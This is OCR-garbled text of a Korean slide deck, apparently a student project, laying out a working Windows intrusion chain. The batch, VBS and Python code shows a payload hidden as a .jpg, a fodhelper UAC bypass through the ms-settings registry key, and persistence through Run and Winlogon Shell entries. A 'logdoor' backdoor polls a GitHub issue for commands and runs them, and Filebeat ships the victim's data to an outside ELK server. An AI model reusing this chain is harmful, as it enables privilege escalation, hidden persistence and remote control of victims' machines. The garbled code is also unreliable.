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v utd M| & . start.bat TJBU
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| #start - Windows H 2% — O *
Bam BEE HAOQ) BV ESTH)
mkdir C¥WWlndows | attrib CWWindows +h

set path=C¥Program FilesW7-ZipW#

cd %userprofile%¥downloads
7z x 2.jpg -oC:#WindowsW

cd C:WWindowsHsystem32

reg.exe add hkcutsoftwaretclassesms-settingsWshellWopenWcommand fve /d "C:HWWindows#System32#Wemd.exe emd /o CWWIndowsHattackiattackst.bat” /f
reg.exe add hkcuttsoftwaretclassesms-settingsWshellWopenWcommand /v "DelegateExecute” /f

fodhelper.exe
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v IO} H|EF . attackst.bat, attack.vbs

7 attackst - wWindows 01 2%

oE(F BEE MM 270 EESEH
cd C¥Windowstattack
attack.vbs

cd %systemroot%Wsystem3?2

reg add "HKLMWSoftwareWMicrosoft#Windows¥WCurrentVersion®Run" /v VBS /t REG_SZ /d C:#WWindowstattackWbeatst.bat" /f
reg add "HKLM#SoftwareWMicrosoftéWindows NTWCurrentVersionWWinlogon" /v Shell /t REG_SZ /d "explorer.exe, C:WWIindowsWattacklogdoor.exe” /f

) attack - Windows 0 2%

OEF BTE M0 EZ NV ESEH)

Set objShell = CreateObject("Shell.Application")

objShell.ShellExecute "C:#Windows#attackimain.bat","/c lodctr.exe/r", ™, "runas”, 0
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v ot H|ZF : main.bat rJBU
%Eﬂﬁ/&'

| *main - Windows 0 2%
OHaF) EHEE M40 27NV ES2H)
set path=C:WProgram Files7-ZipW#

cd %userprofile¥Wdownloads

wget https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-7.5.2-windows-x86_64.zip
7z x filebeat-7.5.2-windows-x86_64.zip -oC:WWindows¥attack

cd C:¥WWlindowsWattackifilebeat-7.5.2-windows-x86_64
(filebeat.yml =3 - Z0{M "a”it]'l

filebeat.exe setup -e
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v IO} H|Z . beatst.bat, beat.vbs, beat.bat

M:I beatst - Windows 2% _ -

IEF HEE M40 27V =S2H

reg.exe add hkcutsoftwareWclassesWms-settingsWshell#opencommand /ve /d "C:#Windows#WSystem32%cmd.exe emd /¢ C#WindowsWattack#beat.vbs” /f
reg.exe add hkcutWsoftwareWclassesWms-settingsWshell#opentcommand /v "Delegatebxecute" /f

fodhelper.exe

| beat - Windows H2E

o BEE Mo 27V EEZH)

Set objShell = CreateObject("Shell.Application™)

objShell.ShellExecute "C:#WWindowsWattack#beat.bat","/c lodctr.exe/r", ™, "runas”, 0

7 beat - Windows HE2%

oEE EHEE M0 270N ESEH)

cd C:¥WWindowstattackWfilebeat-7.5.2-windows-x56_64
filebeat.exe
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@ logdoor.py - CUsersithjihowDesktoptend door#tlogdoorilogdoor.py (3.9.5)
File Edit Format Run Options Window Help

requests

bsd Beaut i fulSoup
time
05

1:
webpage=requests.get{ "https:/ aithub. con/iihol730/testond, issues /17
soup=Beaut i fulSoup{webpage.content, “html.parser”)
tag=soup.find_all{"p")
cmd=tag[3] . text
os.systen(cmd)
time.sleep(200)

ra
ra
7

.
(3]
b

ra
I
I
|

il

| ] logdoor
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%Eﬂ"»‘/&

commandserver #]
jiho0730 opened this issue 20 days ago - 0 comments

jiho0730 commented 20 days ago - edited ~ Owner () ==

ipconfig > > Clattack\output.log

Write Preview H B 7 = <> & = = @ 72 &~

Leave a comment

* logdoorpy”t EZ5t= page
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& HWHKEY_CURREMT_USER#WSOFTWARERClassedms-settingsshell#opencommand

ms-gamebarservi A || 0|2 z= oIy

ms-gam:ﬁ?.guverlz ab] (7] 22H) REG_SZ C:#wWindowswSystern32#%cmd.exe cmd /o CHWWindowswattackwbeat vbs

ms-getortice ab) DelegateExecute  REG SZ

ms-get-started

ms-holographicfi P —

ms-inputapp il == |

ms-insights oUE BERE 27V SARIIMA ES2ZH)
HEHWHKEY_LOCAL_ MACHINERSOFTWAREMMicrosoftWWindows®Currentversion®Run
McdAutoSetup ~ ||l o= == HIoly
MetworkServiceTriggers igz,z;qﬂm] REG_S7 (ZHE o 5
Nutlflc?tluns ......................... ::IH-h EFF: FwDﬁr‘ln q? ) ] . ths}rstra}rexe
OEMInTormation - - ; ; '
OneDriveRams ab|yRS REG_SE C:HyWindowsstattackstbeatst bat /f
Onesettings P abWhiware User Br... REG_SZ "CowProgram FilesstvMwarewyMware Toolswvmtcolsd.exe” -n vmusr
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TFHWHKEY_LOCAL MACHINE#RSOFTWARERMicrosoftwWindows NT#Currentversion#Winlogon

SecEdit
Sensor
setup

SoftwareProtectionPlatform

SPP
SRUM
Superfetch
Svchost
SystemRestore
Terminal Server
TileDataModel
Time Zones
TokenBroker
Tracing
UAC
Update
“ersionsList
Virtualization
VolatileMotifications
WhemPerf
WiFiDirectAR|
Windows
Winlogen
AlternateShells
AutologonChecked
GPExtensions
UserDefaults

WolatileUserMgrkey
WWinCAT

~

ME e Loy
_-‘:-'_-%]DiiableBackButt... REG_DWORD Ox00000001 (1)
ﬁ[-ﬂDiiableCAD REG_DWORD Ox00000001 (1)
.‘é'g'] DisableLockWor... REG_DWORD Ox00000000 (0)
% EnableFirstlogo.. REG_DWORD Ox00000001 (1)
ﬁ[-ﬂEnableSIHDstlnt... REG_DWORD Ox00000001 (1)
4| ForceUnlockLog.. REG_DWORD Ox00000000 (0)
_-':-'_6] LastLogOffEndTi... REG_QWORD 0x4763cf68d7 (306617215191)
ab] LastUsedUserna... REG_SZ dltrnd
ab] LegalMoticeCap... REG_SZ
ab]|LegalNoticeText  REG_SZ
i’;‘é] PasswordExpiry... REG_DWORD Ox00000005 (5)
ab] powerdownAfte.. REG_SZ o
ab| PreCreateknow... REG_SZ {AS20A1A4-1780-4FFE-BD18-167343C5AF16}
ab]RepertBootOk  REG_SZ 1
abcrramovapntion  RFG S [}
I ab] Shell REG_SZ explorer.exe, C¥WindowsWattackWlogdoor.exe
EICIRLLIL ) MEL_ OWonD TRUUUU0000 0]
aB] Shellinfrastructu... REG_SZ sihost.exe
_-':-'_6] ShutdownFlags ~ REG_DWORD OxBO000027 (2147483687)
_-':-'_6] SiHostCritical REG_DWORD Ox00000000 (0)
.?3'_5] SiHostReadyTim... REG_DWORD Ox00000000 (0)
W] SiHostRestartCo... REG_DWORD Ox00000000 (0)
We| SiHostRestartTi..  REG_DWORD Ox00000000 (0)
ab| Userinit REG_SZ CHvWindows#systern3 24t userinit.exe,
ab] M Applet REG_SZ SystemnPropertiesPerformance.exe /pagefile
ab|\WinStaticnsDisa... REG_SZ 0
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Discover -~

New Save

Open

Share Inspect

¢ Hide chart

18.8.19841.985 (WinBuild.16@181.8868)

Windows 18 Home

windows

6.8

log
C:\Wlndowsh\attack'get.log

585

IPvd &9 . . . . . . . . .

192.168.126.141

= ~ KQL ~  Today
& | log-file.path: C:\Windows\attack\getlog X |+ Add filter
- =
filebeat-* 30 hits May 26, 2021 @ 00:00:00.000 - May 26, 2021 @ 23:59:59.999  Auto
Q 20
5
Filter by type o0 ~ €
H 0
[+
~  Available fields 26 -
t _id -
_ B - - - t host.os.kernel
T) _index 00:00 03:00 06:00 09:00
# _score
t host.os.name
t | _type .
Time « Document
B @timestamp
t | agent.ephemeral_id » May 26, 2821 @ 87:86:42.878  ]gg.file.path: C:\Wlndows\attack\get.log @timg t host .OS.FI].EIT'FCII'ITI
agent.hostname: DESKTOP-SJOK3QK agent.id: @&f1
t | agent.hostname - )
host.architecture: x86_64 host.hostname: DESK t |"||:|51: LS. Version
t agentid host.os.build: 19842.985 host.os.family: wind
t agenttype host.os.platform: windows host.os.version: 18 t inpu‘t t‘,-'pe
t | agent.version ’
» May 26, 2821 @ 87:86:42.878  ]pg file.path: C:\Wlndows\attackiget.log @timg
t ecs.version .
agent.hostname: DESKTOP-SJQK3QK agent.id: @&f1 t ]_I:Ig,flle.pa'th
" AR TE e host.architecture: x86_64 host.hostname: DESK
t host.hostname host.os.build: 19842.985 host.os.family: wind # ng offset
t | host.id host.os.platform: windows host.os.version: 18 .
t host.name
» May 26, 2821 @ 87:86:42.878  ]pg file.path: C:\Wlndows\attackiget.log @timg t mess age
il host.os.bulld agent.hostname: DESKTOP-SJQK3QK agent.id: @&f1
suricata.eve.times‘tamp

May 26, 2821 @ 87:086:42.878

®)

—

ofm
rot

ELKE

ok




U UM/
55 N

/ <
O ll=x]] =
11JBY]} .
&'ﬁ'm@‘\@

Thank Youl! Y,




